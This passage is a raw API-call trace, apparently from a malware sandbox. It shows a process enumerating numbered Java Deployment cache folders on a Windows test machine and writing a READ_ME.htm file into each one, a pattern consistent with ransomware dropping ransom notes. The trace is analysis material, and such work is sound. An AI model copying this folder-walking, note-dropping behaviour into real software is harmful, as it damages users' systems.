lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="62", cAlternateFileName="")) returned 1 [0147.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="63", cAlternateFileName="")) returned 1 [0147.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7", cAlternateFileName="")) returned 1 [0147.477] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.478] SetErrorMode (uMode=0x0) returned 0x1 [0147.478] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\0", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\0", lpFilePart=0x0) returned 0x43 [0147.479] SetErrorMode (uMode=0x1) returned 0x0 [0147.479] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\0\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\0\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.483] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.483] SetErrorMode (uMode=0x0) returned 0x1 [0147.483] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\0", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\0", lpFilePart=0x0) returned 0x43 [0147.483] SetErrorMode (uMode=0x1) returned 0x0 [0147.483] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\0\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\0\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.483] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.484] SetErrorMode (uMode=0x0) returned 0x1 [0147.484] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\0\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\0\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0147.484] SetErrorMode (uMode=0x1) returned 0x0 [0147.484] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\0\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\0\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.485] SetErrorMode (uMode=0x0) returned 0x1 [0147.485] GetFileType (hFile=0x1d0) returned 0x1 [0147.485] WriteFile (in: hFile=0x1d0, lpBuffer=0x2933c68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2933c68*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.487] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\1", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\1", lpFilePart=0x0) returned 0x43 [0147.487] SetErrorMode (uMode=0x1) returned 0x0 [0147.487] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\1\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\1\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.487] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.487] SetErrorMode (uMode=0x0) returned 0x1 [0147.488] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\1", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\1", lpFilePart=0x0) returned 0x43 [0147.488] SetErrorMode (uMode=0x1) returned 0x0 [0147.488] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\1\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\1\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.488] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.488] SetErrorMode (uMode=0x0) returned 0x1 [0147.488] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\1\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\1\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0147.488] SetErrorMode (uMode=0x1) returned 0x0 [0147.489] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\1\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\1\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.489] SetErrorMode (uMode=0x0) returned 0x1 [0147.489] GetFileType (hFile=0x1d0) returned 0x1 [0147.489] WriteFile (in: hFile=0x1d0, lpBuffer=0x2939b30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2939b30*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.491] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\10", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\10", lpFilePart=0x0) returned 0x44 [0147.491] SetErrorMode (uMode=0x1) returned 0x0 [0147.491] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\10\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\10\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.495] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.495] SetErrorMode (uMode=0x0) returned 0x1 [0147.496] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\10", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\10", lpFilePart=0x0) returned 0x44 [0147.496] SetErrorMode (uMode=0x1) returned 0x0 [0147.496] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\10\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\10\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.496] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.496] SetErrorMode (uMode=0x0) returned 0x1 [0147.496] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\10\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\10\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.496] SetErrorMode (uMode=0x1) returned 0x0 [0147.497] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\10\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\10\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.498] SetErrorMode (uMode=0x0) returned 0x1 [0147.498] GetFileType (hFile=0x1d0) returned 0x1 [0147.498] WriteFile (in: hFile=0x1d0, lpBuffer=0x293fa28*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x293fa28*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.500] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\11", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\11", lpFilePart=0x0) returned 0x44 [0147.500] SetErrorMode (uMode=0x1) returned 0x0 [0147.500] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\11\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\11\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.500] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.500] SetErrorMode (uMode=0x0) returned 0x1 [0147.500] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\11", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\11", lpFilePart=0x0) returned 0x44 [0147.501] SetErrorMode (uMode=0x1) returned 0x0 [0147.501] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\11\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\11\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.501] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.501] SetErrorMode (uMode=0x0) returned 0x1 [0147.501] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\11\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\11\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.501] SetErrorMode (uMode=0x1) returned 0x0 [0147.501] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\11\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\11\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.502] SetErrorMode (uMode=0x0) returned 0x1 [0147.502] GetFileType (hFile=0x1d0) returned 0x1 [0147.502] WriteFile (in: hFile=0x1d0, lpBuffer=0x2945920*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2945920*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.504] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12", lpFilePart=0x0) returned 0x44 [0147.504] SetErrorMode (uMode=0x1) returned 0x0 [0147.504] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\12\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.507] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.507] SetErrorMode (uMode=0x0) returned 0x1 [0147.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12", lpFilePart=0x0) returned 0x44 [0147.507] SetErrorMode (uMode=0x1) returned 0x0 [0147.507] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\12\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.507] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.507] SetErrorMode (uMode=0x0) returned 0x1 [0147.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.508] SetErrorMode (uMode=0x1) returned 0x0 [0147.508] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\12\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.508] SetErrorMode (uMode=0x0) returned 0x1 [0147.508] GetFileType (hFile=0x1d0) returned 0x1 [0147.509] WriteFile (in: hFile=0x1d0, lpBuffer=0x294b818*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x294b818*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.510] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13", lpFilePart=0x0) returned 0x44 [0147.510] SetErrorMode (uMode=0x1) returned 0x0 [0147.510] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\13\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.511] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.511] SetErrorMode (uMode=0x0) returned 0x1 [0147.511] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13", lpFilePart=0x0) returned 0x44 [0147.511] SetErrorMode (uMode=0x1) returned 0x0 [0147.511] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\13\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.511] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.512] SetErrorMode (uMode=0x0) returned 0x1 [0147.512] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.512] SetErrorMode (uMode=0x1) returned 0x0 [0147.512] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\13\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.512] SetErrorMode (uMode=0x0) returned 0x1 [0147.512] GetFileType (hFile=0x1d0) returned 0x1 [0147.513] WriteFile (in: hFile=0x1d0, lpBuffer=0x2951710*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2951710*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.514] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14", lpFilePart=0x0) returned 0x44 [0147.514] SetErrorMode (uMode=0x1) returned 0x0 [0147.514] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\14\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.515] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.515] SetErrorMode (uMode=0x0) returned 0x1 [0147.515] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14", lpFilePart=0x0) returned 0x44 [0147.515] SetErrorMode (uMode=0x1) returned 0x0 [0147.515] FindFirstFileW (in: 